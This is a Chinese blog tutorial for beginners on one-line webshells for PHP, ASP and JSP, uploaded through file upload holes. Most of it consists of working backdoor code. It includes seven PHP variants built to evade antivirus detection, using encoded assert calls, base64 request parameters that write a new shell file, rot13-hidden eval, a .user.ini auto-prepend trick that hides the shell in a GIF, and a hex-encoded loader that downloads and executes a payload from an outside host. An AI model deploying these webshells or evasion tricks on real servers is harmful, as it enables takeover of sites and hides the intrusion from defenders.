一句话木马:黑客小白的进阶之路——文件上传漏

 2021-07-19 9:15    77  

一句话木马:黑客小白的进阶之路——文件上传漏洞,一句话木马原理

一句话木马:黑客小白的进阶之路——文件上传漏洞,一句话木马原理

什么是一句话木马一句话木马?

一句话木马:黑客小白的进阶之路——文件上传漏洞,一句话木马原理

Webshell:webshell就是以网页文件形式存在的一种命令执行环境一句话木马,也可以将其称之为一种网页后门,顾名思义,web的含义是显然需要服务器开放web服务,shell的含义是取得对服务器某种程度上的操作权限。

Webshell通常被叫做入侵者通过网站端口对网站服务器的某种程度上操作的权限,由于webshell大多数是以动态脚本的形式出现,也有人称之为网站的后门工具,一句话木马一句话木马、大马、小马都可以叫webshell。

而我们的一句话木马只需要一行代码的木马,短短的一行代码,配合webshell工具使用就会有很强大的效果。

一句话木马讲解类型

PHP一句话木马讲解

以PHP为例

代码形式:

<?php@eval($_POST[“shell”]);?>首先存在一个名为shell的变量,shell的取值为方式,web服务器对shell取值以后,然后通过eval()函数来执行shell的内容。

使用:eval使用需要加上system(),sytem函数执行外部程序,并且显示输出,或者蚁剑连接。

ASP一句话木马讲解

代码形式:

<%ebal request(“cmd”)%>上面的asp一句话和php一句话,通过eval函数执行request中的cmd的内容,原理与php一句话类型类似。

JSP一句话木马讲解

代码形式:

<%Runtime.getRuntime().exec(request.getParameter(“cmd”));%>Runtime类封装了运行时的环境,每个java应用程序都有一个Runtime类实例,使用应用程序能够与其运行的环境相连接,使用getRuntime()构建Runtime类实例,getRuntime()返回与当前java应用程序相关的运行时对象,获取实例后调用exec()方法执行系统命令,request为JSP内置对象,getRuntime()方法获取请求参数cmd的值构建命令。

我们还是重点以php来做这样的一个研究,因为现在目前百分之七八十的网站都是通过php这门脚本语言去编写的网站。

想要了解黑客技术或者说安卓逆向的小伙伴们可以私聊我,我都会给大家一一解答。

Web渗透测试——一句话木马的变形

上一篇文章我们讲到了一句话木马和中国菜刀,以及如何利用中国菜刀通过上传到目标主机的一句话木马来获取目标主机的管理权限,也知道了一句话木马作为Webshell的一种,代码十分少,便于操作,但是功能却十分强大,尤其是配合中国菜刀的使用时,因此一句话木马也受到了各大安全软件的特别关注,使得其很容易被各种软件检测出来,为了增强其隐蔽性,出现了各种一句话木马的变形,今天我们就来讲一讲几种一句话木马的变形。

一句话木马:黑客小白的进阶之路——文件上传漏洞,一句话木马原理

一句话木马的一般形式:<?php eval($_POST['cmd']);?>或者<?php eval($_GET['cmd']);?>

变形一:<?php $x=$_GET[‘z’];@eval(“$x;”);?>

改进的地方:

一般的安全软件可能会将eval+GET或POST判定为后门程序,因此这种变形将eval和GET或者

POST分开,能够绕过这种情况。

不足之处:

只是改变了一下eval和get的位置,换汤不换药。

变形二:$a =str_replace(x,””,”axsxxsxexrxxt”);$a($_POST[“code”]);

发送请求的参数:

?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode(“PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==”))

还原出来的命令就是:

assert(fputs(fopen(‘c.php’,w),”<?php @eval($_POST[a]);?>”))

改进的地方:

用字符串隐藏assert方法,并且利用它加上动态传入参数的方式构造后门。

变形三:$_GET[‘a’]($_GET[‘b’]);

发送请求的参数:

?a=assert&b=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode(“PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==”))

改进的地方:

完全利用动态参数传入的方式构造后门,将敏感函数和执行的命令动态传入,效果如变形二。

变形四:($code = $_POST[‘code’]) && @preg_replace(‘/ad/e’,’@’.str_rot13(‘riny’).'($code)’, ‘add’);

改进的地方:

首先,将eval函数用str_rot13(‘riny’)隐藏。

然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码

使用eval方式进行评估并将返回值作为最终参与替换的字符串。

变形五:$filename=$_GET[‘code’];include ($filename);

改进的地方:

由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php

文件,将真正的后门写在文本当中。

变形六:上传.user.ini,并且写入auto_prepend_file=code.gif

将一句话隐藏在code.gif中,并且将它上传到同一目录下。

改进的地方:

将一句话木马隐藏在图形文件中,并且利用用户配置文件将其自动加载到同目录的php文件下,使

得所有正常php文件都毫不知情的中招。

变形七:if(empty($_SESSION[‘api’]))$_SESSION[‘api’]=substr(file_get_contents(sprintf(‘%s? %s’,pack(“H*”,’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);

@preg_replace(“~(.*)~ies”,gzuncompress($_SESSION[‘api’]),null);

改进的地方:

第一,通过pack函数处理URL为/svn/make.jpg

第二,利用file_get_contents获得make.jpg。

第三,利用substr截取3649字节以后的内容。

第四,利用gzuncompress方法将3649字节以后的内容解压出来。

第五,用preg_replace方法的e操作符将代码执行。

还有很多后续操作……

以上为了试验操作的方便,采用的是Get方式获取PHP的执行代码,但实际上,由于URL长度的限制,一般采用Post的方式。由于PHP版本的不断更新,因此一些旧的方法可能已经不太好用,但是随着版本的更新,相信也会有更多越来越新奇的mm慢慢浮出水面,让我们拭目以待。

本文标签:渗透木马变形

原文链接:https://www.xgfox.com/jsyd/1051.html

本文版权:如无特别标注,本站文章均为原创。